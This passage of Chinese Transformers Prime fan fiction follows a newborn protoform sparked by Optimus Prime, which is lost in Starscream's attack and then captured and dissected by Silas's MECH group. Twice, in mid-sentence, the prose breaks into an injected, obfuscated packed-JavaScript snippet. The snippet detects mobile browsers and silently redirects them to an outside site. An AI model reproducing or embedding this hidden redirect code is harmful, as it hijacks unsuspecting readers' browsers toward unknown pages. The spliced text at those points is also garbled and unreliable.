医官盯着屏幕,已经不知自己今天是第几次被这个幸存的原生体震惊,他大喊着,“火种源在上!这个原生体竟然还能活着真是奇迹!” “用于维持火种跳动和能量液输送的管道尽数断开、机体维护液泄露,仅剩下两条基本维生管道……这个小家伙是个顽强的孩子!” “所以也就是说,他还,额,活着?”拉菲放下手中的电脑,也凑到了救护车身旁。 “是的,你可以这么说,虽然刚刚的动作极有可能只是机体本能的抽搐,但毫无疑问这里面的小家伙有着非常强烈的求生本能。” “救护车,”领袖打断他,“这个原生体还有可能……” “是的,我明白你的意思,领袖,但你还能再靠近一些吗,我需要看清这个维生舱的全部构造和毁坏情况才能下结论。” 领袖闻言踩着满地的胶质物又靠近了一些。 仅剩下不到三分之二的液体中一架框架巨大的机体漂浮在其中,静滞舱破损的线路时不时在他的头顶蹦出细小的电流看得医官的处理器直报错,原生体虽然还未苏醒但原本裸露的原生质已经基本包裹上了一层软装甲,看不清面甲的头部隐隐约约从光学镜中散发出一丝红光,虽然微弱,但好在,原生体胸腔中的火种还散发着柔和的蓝色光芒。 “虽然破损很严重,但是是的,他应该还能够上线。” “你看到那些软装甲和静滞舱底磨损和烧焦的痕迹了吗,根据大黄蜂找到的名牌,他很可能不是这个飞船内唯一的原生体,可能是在降落途中被断裂的横梁卡在这里了。” “也多亏那些软装甲保护了他脆弱的原生质,甚至流出来的胶质液也保了他一命,不至于被泄露的电流摧毁他的处理器,”救护车根据领袖传输过来的画面尽可能分析着,“但按理来说原生体不可能在没有扫描的情况下自主生成软装甲……” “领袖,这个原生体很可能已经扫描过另一架机体的火种频率了。” 随着医官最后一句话的结束,基地和领袖那边都陷入了一阵沉默。 美琪看了看救护车又看了看身边同时沉默的其他汽车人终究是没按耐住好奇。 “打扰一下,但是,这代表了什么?”她感觉自己今天都要被这些赛博坦人的生理知识搞混乱了,好在混乱的不止她一个。 其他两个孩子也将目光投向了自己的汽车人伙伴。 “在赛博坦人的伦理中,继承了两方火种频率的小火种,不管是幼生体又或者是被制造出来的原生体,都将被承认是提供火种频率的两者的‘creation’。”这次是阿尔茜回答的她。 “也就是,亲子关系。”隔板补充。 “那我们如果要唤醒他,意味着领袖就要和另一个不知道是谁的机成为,额,单亲爸爸?” “可是赛博坦的幼生体不是自然诞生吗?又怎么可能会有亲子关系?”拉菲问。 “在火种井中由普神孕育并非赛博坦人孕育生命的唯一方式。”救护车只说到此,他又将注意留给了领袖。 “我知道你在想什么,擎天柱,但是我不建议,”医官看起来快被这些接连的消息搞宕机了,几个人类孩子甚至看得见这位不算好脾气的机背后冒出来的黑气。 “基地里的任何一个机都可以为他提供火种频率,但领袖你……” “救护车,来不及了。”擎天柱将手扶上破损的维生舱,“他撑不到那个时候。” “为什么不?陆地桥有了你们的坐标就可以把隔板他们直接传送到你们身边!” “听着,你已经为这场战争奉献得够多了,没必要为此再背负上一份责任了!更何况你根本不知道另一架给他提供火种频率的机是谁!” “陆地桥开启的波动足以将这个舱室彻底摧毁。”领袖回以他的是已经下定的决心和维生舱开启扫描的绿色光芒。 “相比起我的牺牲,能够拯救一个生命更值得。” 可是这个原生体甚至都不能够算是一个完整的生命啊…… 医官没有将这句话说出口。 领袖平静地走到了维生舱的光芒中。 7. 诞生倒计时一 维生舱的扫描来到尾声,断断续续的机器启动声和原生体装甲重组的声音传入他们的音频接收器。 「火种频率扫描结束」 「机体扫描结束」 「维生系统断开」 「检查:火种频率扫描完成、机体扫描完成」 「警告:静滞舱即将开启」 剩余的维生液逐渐排空,来自地球的空气流入新生机子的排气扇,机体内的管线重新排列,这件不属于普神的作品正在以自己的方式创造自己的诞生,四肢的支撑轴逐渐归位,装甲硬化,伴随着清脆的咔哒声,原生体的零件正在以赛博坦人独特的韵律活动,火种和能量液组成他的血液和心脏,随着能量液的第一次流动,他身上的生物光带从腰侧开始逐次亮起。 无论多少次都足以让碳基种族为赛博坦人的变形过程而感慨造物的神奇。 然而没等汽车人看到原生体踏出培养舱,一个熟悉的张狂声音率先打断了所有的一切。 “瞧瞧我发现了什么!” “我还在想你们都躲去了哪里,所以,这就是你们的小‘派对’?” “五年未见,领袖,看来你毫无长进!” 沙哑的声音伴随着导弹疾驰的声音,领袖只来得及拽着身侧的大黄蜂卧倒。 “轰!” 气浪掀飞了旁边的仪器,也炸碎了培养舱后仅存的两根维生管道,喷溅出的蓝色能量液和先前泄露出的绿色粘稠液体浸满了地板,领袖眼疾手快将飞船主机上已经被读取的资料率先传回了基地。 随即他站起身看清了来者的身份。 “红蜘蛛。”面罩再次隔绝了领袖全部的情绪。 “领袖,多么让人惊讶,看来命运待我不薄。”红蜘蛛扯出一抹假笑,毫不掩饰自己的恶意。 「倒计时开启」 “够了红蜘蛛!威震天已死,这场战争已经没有必要再进行下去了!我们的人民应该回归和平!” “已死?哈哈。”他阴阳怪气地笑,让大黄蜂浑身不舒服。 “一日没有消灭你们,权力就一日不可能向你们拱手相送!” 「10」 “这无关于权力!”领袖冷着脸,注意到了红蜘蛛的异常,一种针对于威震天的第六感正在愈演愈烈,他还欲劝说,然而红蜘蛛猩红的眼神已经传达出了他的意思。 不可能和解。 「9」 领袖面色沉重,大黄蜂的光学镜一眨不眨地死盯着这个阴晴不定的霸天虎副指挥官。 他不清楚霸天虎是怎么找到这里的,但这不妨碍他的处理器得出一个他并不喜欢的结论。 霸天虎已经盯上了这颗星球。 被关注的霸天虎首席副官本人慢条斯理地迈进这满地的狼藉,五年的经营在威震天回归后荡然无存,愤怒和怨恨几乎充满了他的火种。 他嫌弃地上下扫视了一番这破破烂烂的舱室。 哈,汽车人科技。 搜寻者发出不屑地哼笑,随即他注意到了那个闪烁着的静滞舱,高速运转的处理器立刻理清楚了所有的缘由。 “所以,这就是你们这么宝贝的东西。”傲慢的飞行单位勾起嘴角,一股寒意顺着他的笑容传递到在场的两个汽车人身上。 “一个原生体的培养舱?我瞧瞧,一个汽车人的原生体?”红蜘蛛微微探腰似乎是为了将原生体看得更清楚一些,然而下一秒武器上膛充能的声音立刻让在场的两个汽车人风扇狂转,领袖以自己绝对的战略直觉躲过了第一发直冲自己面甲的射击,其后迅速调整重心弹出了臂炮,然而他的动作终究赶不上导弹射击的速度。 第二发攻击在他躲避的空隙准确地轰击在操作台上,炸起一片火光。 本就遭受高温以及撞击破坏的飞船不堪重负发出不详的噪音,断裂的横梁砸在地板上,也彻底砸碎了培养舱的玻璃罩。 失去最后支撑的飞船正在迅速地倾斜。 与此同时培养舱也失去了倒计时的声音,迫于红蜘蛛连续的进攻,领袖没法抽出心神关注培养舱中原生体的状态,这让领袖内心的焦虑更胜一筹,然而面上他依然沉着地紧紧盯着红蜘蛛的动作。 “bee!”大黄蜂以自己的灵巧向着红蜘蛛射击,擎天柱弹出臂刃险些就能削掉红蜘蛛的头雕,配合有度的攻击和领袖守护原生体舱的决心瓦解了红蜘蛛短暂的优势。 “啊!!!”红蜘蛛发出一声惨叫,锐利的刀刃在他的腰腹划出一道深深的血痕,斩断了他的一条能量管道,疼痛感瞬间让他傲慢的脸庞变成了恐惧。 没有过多的废话,这一切都发生在瞬息之间,红蜘蛛躲过领袖的劈砍和侧踢迅速变形。 F-16的动力和重量级别注定无法和一辆重卡相比较,更没办法如威震天这种大型战机一般直接把一架大型机带上天,但是借助地球的势能,他成功利用接连的炮火攻击和飞船自身坍塌造成的倾斜将领袖和侦察兵都撞出了飞船。 “擎天柱!今天我就要完成威震天几百万年前就该完成的任务!” 一红一黄两架机体从几十米的高空狠狠摔倒在了地面上,领袖以自身作为肉垫帮大黄蜂缓解了掉落的冲击然而他自己却没那么好的运气,被冲击而折断的树干好巧不巧穿透了他的半个主油箱,将他钉死在了地面上。 他忍下痛呼,蓝色的能量液瞬间喷溅,大黄蜂和通讯器中的救护车发出焦急的呼喊,不远处是汽车人基地内开启的陆地桥的光芒,隔板和阿尔茜先后从中冲出,他有心想要提醒他们先去查看原生体的存活与否,然而F-16飞行的尖啸迅速打断了他所有的思路。 红蜘蛛咒骂着,然而汽车人对他们领袖的强势保护让他的几发导弹都没能击中目标,眼看弹药见底,他侧头看到了距离彻底毁坏仅剩分毫的飞船。 “如果我不能得到,那么你们也别想得到!”战机做出一个漂亮的空中翻转,最后的弹药全数倾泻在了本就千疮百孔的原生体飞船上。 爆炸引发了连锁反应,火光点燃了飞船内部泄漏的能量液和保存完好的燃料仓,更加剧烈的爆炸直冲云天,而汽车人只来得及在爆炸波及到一时失去行动能力的领袖之前把擎天柱拖入陆地桥。 红蜘蛛也早在此时拖着满身的能量液和被切断的线路狼狈地返回霸天虎的战舰。 他在霸天虎战舰上受到的“注目礼”和让他烦躁的杂兵间对此的窃窃私语暂且不提。 阿拉斯加无人区冲天的火光足足燃烧了一个晚上。 负责和汽车人对接的富勒特工不得不在半夜被上司揪起来处理这起“突发事故”,然而他升不起一丝一毫的抱怨。 领袖也已经昏迷了整整一个晚上。 汽车人们在第一波连环爆炸结束后帮忙灭了火,而富勒特工帮他们扫了尾,这才让外界认为这只是单纯的一起山火事故而并非外星人入侵的前兆。 等他们早上六点多返回基地时,领袖才逐渐转醒。 医官熬了一天一夜,才保住领袖受伤的油箱和被伤势波及到的变形齿轮。 “谢天谢地,”擎天柱苏醒的那一刻,救护车看起来将唯一撑着的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492639|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气也散了,脚步踉跄了几下差点跌倒。孩子们也陪着他们熬了一夜,此时看起来也萎靡不振,但是还是强打起精神看着苏醒的领袖。 擎天柱出口的第一句是“对不起”,第二句是询问那个属于汽车人的原生体。 然而医官灰暗的光学镜告诉了他答案。 “我很抱歉……”医官强迫自己空空如也的油箱摄入一些能量才有力气继续开口,“原生体的信号在隔板他们赶到的时候就已经……” 孩子们几乎心碎地看到擎天柱那双湛蓝色的光学镜也跟着灰暗了下去。 美琪想要安慰他,但是却不知如何开口,生与死在此之前从未是作为中学生的他们所能够接触、需要思考的话题。 最终也只剩下了一片沉默。 最终是阿尔茜走上前用手掌覆盖住了领袖的肩膀。 领袖强迫自己坐了起来,“我很抱歉……让大家陷入这样的境地。” “嘿,这不是你的错,”杰克开口,属于少年人的眼睛直直望进领袖的光学镜,“谁也没能想到会有霸天虎出现在那里。” “而且你也尽力了。”美琪紧接着开口。 “这不是你的错。” 可是这还不够。 就像千百万年前,远在战争开始之前我就该做到的。 领袖一下子失去了说话的力气。 “好了好了,你们这些小鬼就不要操心大人的事情了。”富勒特工带着黑眼圈走过来,这位被安排来和外星人对接的特工早已经没了最开始生人勿近公事公办的态度,他脸上的黑眼圈也很明显但他还是催促着让孩子们先去床上小憩。 几个孩子你看我我看你,不想让虚弱的领袖费神,带着担忧走回了休息室。 “辛苦了,领袖。” 富勒叹了口气,虽然不太清楚这次突发事件的缘由,但是风雨欲来的感觉依然如乌云笼罩在这座基地上空,哪怕再迟钝的人也能感受到。 地球,终于到这一天了。 从第一天接触汽车人,富勒就已经预料到了今日,只是没想到这个时机会这么快会到来。 “好好休息。”特工最终向他们敬了个礼也离开了这里。 隔板和大黄蜂还欲陪伴情绪低落的领袖,然而阿尔茜也催促着他们回去充电,让这里只剩下了擎天柱和救护车。 沉默。 “……” “你知道,擎天柱,我这个生锈的机子已经受不了太大的刺激了。” “如果你想要寻死,大可直接告诉我。” “我很……” “我向普神发誓擎天柱,如果你再道歉我一定会用扳手狠狠敲你的脑袋。”医官恶狠狠地抬起头,让自觉理亏的领袖下意识闭了嘴。 救护车收回脸上的表情,只是用那双似乎能看透一切的光学镜平静地看着擎天柱,这几乎就要让领袖临阵脱逃了。 几乎。 “告诉我,你没有刻意在寻死。”医官说。 “告诉我,你没有在寻求回归火种源的怀抱。” “告诉我,擎天柱,你没有想抛下这一切就跟着威震天一起回归火种源。” “……” “……我……没有。” “……” 医官依然盯着他,直到他终于松口。 “很好。”救护车揉了揉自己发疼的光学镜,抹了一把脸。 “就只是,别太勉强自己。” “当然,救护车,当然。” 没有人再提起领袖还未诞生的“亲子”。 8. 诞生倒计时零 阿拉斯加无人区的腹地。 刺鼻的气味已经逐渐消散,昨夜冲天的火焰仿若一场盛大的噩梦,徒留焦黑的动物尸体和草木的余烬被掩盖在漆黑的土壤下。 如今只有地面上还残留着的爆炸痕迹和面目全非的外星飞船遗骸还提醒着人们这里曾经发生过什么。 在外围负责灭火的人员已经全部撤离,富勒特工联系的官方人员在周边拉起了警戒线。 破损的赛博坦星飞船已经彻底断裂变成了一堆废铁,上面的赛博坦科技在汽车人的要求下被搬到了贾斯帕的基地中进行保存,至于更为笨重的飞船主体在他们和政府协商后则要运送到另一处更大的水坝军事基地中进行存放。 救护车对此表示过担忧,不向任何其他种族分享赛博坦科技是霸天虎和汽车人两派在无限的战争中逐渐形成的为数不多的默认成立的潜规则之一,而救护车并不相信人类。 即使他和那三个人类孩子之间正在加深羁绊,可是他忘不了地球的高官在他们第一次正式见面的会议上露出的表情。 那是哪怕跨越了种族救护车也不会忘记的神色。 就和赛博坦早已不复存在的腐败议会一样的算计的神色。 这也让原先只关注着霸天虎动静的医官在芯里给自己敲响了警钟,这些人类就和赛博坦人一样,就和救护车曾经所见过的那些野心家和投机者一样,他们绝不会仅满足于看着两派赛博坦人拿着这些危险的武器在他们的星球上生存和战斗,为了保全自己,为了获得更高水平的外星科技,甚至是为了和生活在这颗星球上的其他同胞拉开武力差距,这些地球人一定会铤而走险。 是以救护车建议对这艘飞船进行彻底的拆解,拆解后的飞船残骸足够被收纳进贾斯帕的基地中进行妥善地储存,属于机密的科技部分将会被销毁,哪怕有剩下的部分被地球人拿走也不必担心会出现什么意外。 他提出这个建议也是为了领袖那个不幸夭折的“亲子”。 领袖苏醒后将自己的情绪掩盖的很好,但作为老朋友,救护车不会错过他脸上的悲伤和失落。 老实说,他对那个原生体的存活并不抱太大的希望。 在火焰被扑灭的第一个小时,领袖卫队的成员在领袖昏迷期间就主动去飞船废墟里翻找了一番,救护车也对看不出原本模样的飞船进行了整体扫描,存放原生体舱的主舱室更是扫描的重点。 然而不管重复几次,扫描的结果都显示那个原生体并没有能活下来。 废墟里没有火种的燃烧反应。 救护车并非缺乏乐观,但漫长的战争足够培养出他的悲观主义。 奇迹不可能发生第二次。 原生体在维生舱破裂的情况下存活已经是一件相当小概率的事情,而在这种量级的连锁爆炸下存活的概率? 不能说是微乎其微,而是在概率上趋近于零的可能性。 但为了朋友,他总要再试一试。哪怕是原生体早已死去的尸体,也起码能够给予领袖一些慰藉。 彻底拆解飞船就代表他们要对飞船整体进行挖掘,不管那底下还有什么都要被彻底地清扫出来——那么也许他们就还能找到那个原生体……的尸体。 连诞生都未曾完成就被爆炸所杀死……哪怕是对于他们而言也太过地狱了些。 可惜哪怕有富勒特工在其中周旋,救护车的建议也依旧被驳回了。 先不提汽车人这边有没有清楚飞船拆解步骤的机,地球官方那边也盼望着能越快把这个裸露在外的巨型外星垃圾藏起来越好,他们真的不想增加更多的工程量。 以及这种大型运输飞船的拆解也是一个非常繁琐和漫长的工作,汽车人基地就算目前有熟悉飞船拆解步骤的机,在霸天虎和他们的冲突日益加剧的现在,他们也没能力专门挑出一个机长期负责这项任务。 最后救护车也只能作罢。 此时官方派过来驻守的士兵正在等待运输车的到来。 正值交接的黎明时刻,士兵们的疲惫肉眼可见。 “哈~”换班的士兵端着武器打了个哈欠,有一搭没一搭地和身侧的同伴搭话。 “你说上头的车什么时候到?” “谁知道,总归这坨大铁疙瘩两天内必须得运走,周边村镇上想要过来拍视频的人越来越多了。” “是啊是啊,真不知道有什么可拍的。” “毕竟这里地处偏远,对外宣称的又是这里发生了百年难遇的大火灾,居民好奇也是……” “嗤,这种借口也会有人信……不过我打赌上头绝对不会对这、这些,”说话的士兵神秘地指了指身后的船,“对这些就干放着,我听说他们也有在秘密研究这些外星生物。” “生物,你说,”另一个阴阳怪气地回应,“我都不知道他们是不是算生物……能思考的机器人,哼。” “哈……你讲了个好笑话。” 几个士兵依然在聊天,丝毫没有注意到几个鬼鬼祟祟带着全套高科技设备的人从茂密的树林中走出,他们手上除了对讲机还拿着造型奇怪的探测器,一道不知显示什么的线条诡异地在探测器的屏幕上跳动着。 “长官,我们到了。” “很好。” 这些人神不知鬼不觉地绕过了封锁线,富勒特工的人能够防住因为好奇擅闯的普通人却显然防不住训练有素、对他们知根知底的特种兵。 “嘀……” “嘀……” “嘀……” 不知为何作用的探测器缓慢地扫描过爆炸后焦黑的土地。 这些将伪装武装到了眼睛的人小心翼翼地探索着这片地区,直到仪器陡然绷直的探测线路和庞大的飞船遗骸在一瞬间同时映入这些大兵的眼睛。 “嘀!!!” “哦我的天呐!!!” “地外生命的飞船!” “长官说的是对的!!!” 零星的惊呼和刺耳的报警声响彻,在他们面前的是足有二十多米高、宽五十多米、长度不明的巨大飞船遗骸。 哪怕经历了巨大的损坏,依然能看出它完好时的宏伟,上面明显不属于地球人科技的痕迹让他们频频发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492640|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喟叹。 为首的人压下心底的震惊,尽量沉着地打开了通讯器,“长官,您说的是对的,他们果然在瞒着我们什么。” “而我们找到了,相当幸运的。” “幸运?不,副官,这是必然,机械党一如既往是正确的。”通讯另一头,一个年长、沉稳、游刃有余的人轻笑一声回复道,听起来似乎对目前的意外发展毫不意外。 “接下来怎么办,塞拉斯长官,我们没办法把它搬回去。” “不必,这次的收获就已经足够,没必要让他们现在就察觉到我们,”被称为塞拉斯的人语气中充斥着对这次隐秘行动的满意,“看看还有没有什么其他的东西,能搬回来的就……” 然而他的游刃有余只延续到这一刻。 下一秒,飞船那头的雇佣兵们就发出了更为嘈杂的混乱。 “报告长官!我们发现了一个机器人!疑似地外生命!而且……而且他的胸口还在发光!” “哦我的上帝,这太恶心了!他的胸口金属是不是在动?” 喧嚣和混乱没有打乱这位长官的思路,塞拉斯仅仅是沉吟了片刻就立刻转变了原本的打算。 “……副官,任务更改,想想办法把这个机器人运回来。” “这个东西(This thing)对我们的用处更大。” “飞船不用管了。” “是!” 难以置信,虽然自称为机械党,但是他们的动作却显然比正规的特工还要训练有素。 富勒特工联系的运输车辆还在路上,他们利用这个间隙将自己的车辆张贴上伪造的标志,顺利通过了门口大兵们的盘查。 这个破烂到看不出原样的“机器人”被迅速装载上了货车,期间没有出现任何特殊情况。 他们以同样的效率离开了隔离区,就连机械党的副官也不禁在离开时对着身后那片所谓“严格戒严”的封锁区露出嘲讽的笑。 货车后备箱上,机械党的其他人讨论着这架破损的机甲。 然而没有一个人敢掀开防水布看上一眼。 “兄弟,离奇的事情我见得多了,x国机密档案里那堆关于地外生命的研究我也看多了,但是这个,shit,这太怪了!” “怪?!它简直让我不寒而栗!” “恶……你们谁看见它蠕动了吗?我敢打赌这东西是个活的!” “快别说了,我一点儿都不想看见这鬼东西胸口的火光……你说它自我修复到什么程度了……?” 一阵沉默,尽管不知道他们所运输的东西是什么,也不清楚赛博坦人的构造和生理特性,但这些士兵诡异地意识到了,这个东西,不管它是x国政府搞出来的机器人还是真的外星生命,毫无疑问,这个东西正在修复自己。 用一种肉眼可见的恐怖速度。 听到上一个士兵提问的人全部都陷入了沉默。 没有人愿意想这个东西将自己“修”好后会怎么样。 话题就此结束,直到货车顺利回到机械党的基地都再也没有出现其他的声音。 9. 欢迎来到这个世界 深绿色的军用皮卡缓缓驶入隐蔽的入口,车后面的背斗里盖着一块蓝色防水布让人看不清货物的真实模样。 下面盖着的东西明显要比掩饰用的防水布还要大上一些,有棱有角地浮现出隐隐约约的大致轮廓,边角露出些许的金属光泽,细看之下还能发现那底下的东西甚至还有着微弱地起伏——仿若是还在呼吸的某种生物,让人不寒而栗。 背斗里的士兵显然也是这么想的,所有人的脸色都是一致地发白,一路的“相处”足以让他们亲眼“看”到这个马上就要报废的鬼东西是如何“活”过来的。 恐惧会让人滋生愤怒,而未知让他们产生畏惧,手中的武器如同最后的救命稻草,他们紧紧攥着武器的扳机,让人毫不犹豫地相信如果防水布下传来一丁点儿动静这些士兵手里的武器就会立刻走火。 基地的空地上,一个身着漆黑作战服的中年男人背着手站在那里,阴鸷的眼神让人捉摸不定他的心神,一条疤痕横空截断了他的鼻梁更为他增添了一丝凶狠,但更无法隐藏的是他几乎从肢体语言中溢出的野心。 “塞拉斯长官。”副官从车上跳下来给他敬了个礼。 塞拉斯,也就是站在那里的男人面不改色,只是微微点头向他示意可以开始汇报。 副官没有再多说,只是命令人掀开了那块防水布。 下面赫然是一架形似人类的机甲,塞拉斯身后的人没有发出一声惊呼只有几个科研人员互相对视发出一些急促的呼吸声。 然而副官的神色却也在看清背斗上的“货物”后陡然沉重。 “长官,这就是我在通讯里和您说的我们发现的机器人。” “那架飞船残骸上有被翻找的痕迹和破裂的胶囊一样的东西,这个机甲就被藏在胶囊舱底下的空洞里。” 他压下语气中不易察觉的恐慌,尽量平稳地叙述着。 “但我们发现它的时候,这个东西(this thing)破损的程度比现在还要大。” 那甚至不是破损较大可以形容的,几乎可以说这个机器人就在报废的边缘——如果不是因为“疑似地外生命”且貌似可以给机械党带来利益,副官甚至不会耗心思把这个机器人运回来。 他们发现它的时候,这东西跳动着诡异火焰的胸口被彻底贯穿,两条手臂的部分全部断裂,腰部轴承损坏,近乎一半的身体被爆炸轰断,就连腿部的链接都摇摇欲坠。 如果不是他们手中的探测器在那个狭窄地仅能容纳一人通过的裂缝处发出警告,就连副官也没有把握他们能发现一个藏得这么隐蔽的东西。 副官对他们发现这个机器人时的情况记得一清二楚,然而现在呈现在塞拉斯眼前的,是一架四肢健全、胸口完好、身体装甲相对完整的机甲。 躺在背斗里的机械如今早已经没了那副狼狈的模样,浑身被火焰灼烧过而显得暗沉不堪的涂装没有掩盖它身上的气势,形似人类的躯体修长而富有力量,浑身的机械齿轮和流通能量的线路排列有序,展现出一种天然的机械美感。 腿部的纤细和上半身的宽阔不成正比但是小腿上还未修复完成的形似汽车轮胎骨架的结构很好平衡了他的身形,值得一提的是这具机甲腰部和上半身的结合堪成完美,倒三角的设计给他的机动性和灵活性提供了更大的可能性,头部四只作用不明的天线“设计”让他的头身比也更加协调,塞拉斯隐藏不住自己眼底的算计,走上前更细致地对着这个机械观摩。 他更关注这个被x国政府藏起来的机器人到底有着什么程度的威胁,或者说,他们可以从它身上获得什么。 也许等他们把他拆开就可以得到更多的数据…… 算盘打到一半,塞拉斯注意到了这架机甲上的武器装备,手臂部分突出的枪炮滑轨、虽然不明显但是应该收纳在腿部装甲内的刀锋、肩膀两侧的四门导弹炮筒…… 这些还仅仅是肉眼可以观察到的,几个科研人员上前用手指触碰这具机体,一些得到塞拉斯首肯的研究人员甚至已经卸下了机甲一部分的腹部装甲,里面也存在着枪炮的雏形,只是不知为何折叠收纳在这个机体的内部。 除非这架机甲可以自主变形,不然基本可以排除人为驾驶的可能性。 一个可以被人为远程操控的机器。 塞拉斯眯了眯眼。 “我们只能推测这架机甲不需要燃料。”一个戴着眼镜的科研人员说,“它胸口的火焰可能就是x国秘密研发出来的燃料,我们拆开了他的胸部装甲,尝试了直接性触碰。”一个被抓过来做这个测试的倒霉蛋士兵现在都还没缓过神,已经吓昏过去了。 “但是火焰没有温度。”他失落地报告,“我们搞不清楚这燃料是否可以被复制并为我们所用,更详细的数据得等把它全部拆开后才能获得,但我们现在可以说……” “这架机甲是天生的武器。”塞拉斯打断他。 研究人员没有生气,“是的,长官,可以这么说。” 塞拉斯的神情晦涩不明,面前的机甲被拆到了一半,余下的人员全都等待着他的命令。 “你觉得……”他缓慢地说道,“有没有可能将他的内部改造成驾驶舱。” “我不清楚长官,”研究人员如实回答,“但我们可以试一试。” “那就动手吧士兵。” 得到命令,他们的脸上立刻展现了病态般的狂热,未知机甲、高精尖科技、远程操控技术、神秘的火焰燃料……如果副官所言非虚,那么这架机甲就很可能还含有纳米级别的自我修复能力,每一样都足以让这些疯子陷入癫狂。 庞大的机器手抓起这具机甲,被卸掉的装甲掉落在地上发出叮铃哐啷的噪音。 激光切割的声音足以让任何有感知的生命为此感到恐惧,然而这个初生就面临爆炸威胁的原生体遵循了生存本能——将自己降临前维生舱最后输送进机体的能量全部转化为了修复机体所需要的力量——目前他正处于沉睡中,也得以不必亲眼看着自己被“解剖”。 外部装甲的卸除没有出现任何阻力,机械党也因此收获了这具装甲的基础数据,而他们得到的结果,相当惊人。 单是作为防御的外部装甲的合金密度就已经达到了不可思议的程度,科研人员甚至坦言这几乎不可能是地球上所能得到的合金。 然而在他们着手卸载机甲胸部的火花时,意外产生了。 这具机甲在毫无征兆的情况下发出了一声尖锐刺耳的尖啸,夹杂着大量的电磁乱码,机械党全部的电脑屏幕与系统仅片刻间就全部陷入了瘫痪。 火花迸溅,机械四肢和解剖台发生剧烈碰撞,机甲胸中的蓝色火焰疯狂燃烧,剧烈地收缩,散发出的光芒将这一整个仓库都染成了蓝色。 混乱瞬间而起,而机甲,不,那个东西(the thing)剧烈挣扎了起来。 如同一个活物。 这简直让人毛骨悚然。 机甲嘴中的语言短促而含有韵味,不属于现存地球上的任何一种语言的发音。 “该死的!这东西怎么会动!” “我就说这东西是个活的!” “开火!开火!开火!” “草!草!他在看我!该死的他在盯着我!” 开火声和雇佣兵们惊恐的喊声夹杂在一起。 猩红的光芒从机甲睁开的光学镜中迸发,挡不住眼神中的狠厉和藏不住的慌乱,腿上的锋利刀刃瞬间弹出,仅仅是一个照面绑在他身上的固定器便全速断裂,他猛地抬起身子将身侧的设备和那把就在他胸口火种前的焊枪踢飞,变形的设备狠狠撞上仓库墙壁,爆炸随 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如果有赛博坦人在这里,就会认出来这具原生体几乎就是小一号的汽车人领袖,他的体型堪比一个中大型机,但身上那股狠厉的气势和猩红的目镜却显示出了他另一个sire的身份。 人类不敢放松警惕,对刚苏醒的原生体而言,此时的处境也依然不妙。 他不明白发生了什么,反转宇宙的汽车人在设计他时就没有给他安装每个赛博坦人具备的生存模块,就像每个被制造出来的原生体一样,他的处理器在他上线后第一时间运转的是他的战争模块。 这也是他得以存活的前提。 在那场出生即是死亡的爆炸中,他做出了处理器给出的唯一解决方法,他利用自己的火力轰开了维生舱下面的飞船空洞。 可以说那场红蜘蛛引起的爆炸之所以燃烧得这么厉害也有原生体自己添的一把力。 而在他遵循本能陷入沉睡积攒能量的时候,没有遇见如今的情况。 火种舱受到的严重损伤本应该已经修复,然而现在却完□□露出来,稚嫩的舱室内侧正源源不断地向他的脑模块传达痛苦的信号,他无法遏制自己机体本能地收缩。 处理器中也没有关于如今这一切的信息。 他知道如何运转自己的武器,如何快速且高效地杀死敌人,但是氧气含量极高的空气、柔软的地面和这些弱小的肉虫依然让他感到新奇和无所适从。 这里不是他应该上线的地方。 猩红的目镜四处扫视,但他没有找到自己应该效忠的对象。 他的底层代码正在运行,然而一无所获,他的记忆一片空白,有的东西除了爆炸还是爆炸。 他努力解析着这些碳基生物的语言,他认出走出来的人物必定是这群生物中的领袖,但是,领袖? 他应该效忠的应该是个领袖。 此时的原生体还没有意识到自己的脑模块比一开始上线时运转得要丝滑得多。 而这对于只有战斗模块的原生体而言是难以想象的。 但是他的脑模块中没有关于这种生物的语言模块。 那个碳基依然对着他说着什么,原生体无法理解。 所以他做了他唯一可以做的事情,他试图挣脱束缚。 紧接着,碳基首领眯了眯他的光学镜,剧烈的电流和强烈的痛楚瞬间占据了他的处理器,刺耳的噪音再次出现,他意识到那是从自己的发声器中发出的惨叫。 在他下线前,最后看到的是碳基首领走到自己跟前蔑视的目光。 塞拉斯。 他对着自己这么说。 原生体记住了这个发音。 随后一切回归黑暗。 “欢迎来到这个世界。” 恶魔对着机甲勾起了嘴角。 新生命来到世界的第一声啼哭是痛苦的哀嚎。 10.改造 本应已经废弃的码头仓库内灯火通明,军用皮卡不断地从仓库内驶出又返回,整个过程寂静无声。 远处的吊塔上,穿着黑色作战服的人员每两个小时换班一次,手中的武器被掩盖在伪装下,然而相隔十五米便伫立的哨站将这一块地区变为了名副其实的囚笼,铁丝网与电网被掩盖在绿色的篷布下,哪里还有废弃的痕迹。 而这一切的布置都是为了仓库内的“那个东西”。 吊塔上的士兵听着遥遥传来的声音打了个寒颤,就算已经保证了那东西绝对不可能逃脱,但这种生物会和人类这么类似依然让他们在面对它时产生恐怖谷效应。 话说那东西真的还可以被称之为生物吗? 士兵回想了下换班前自己看见的情形。 那东西的外部装甲全部被卸下,取而代之的是连成一片如同肌肉的软金属,他们的科学家在切割开这些软金属时机甲发出了更为渗人的惨叫,伴随着的还有流淌而出的蓝色能量液。 士兵又想起那机甲眼中的愤怒和痛苦,在切割时攥紧的双拳、陡然绷紧的腰腹和四肢…… 恶…… 士兵抖了抖身上的鸡皮疙瘩。 简直像个人类一样。 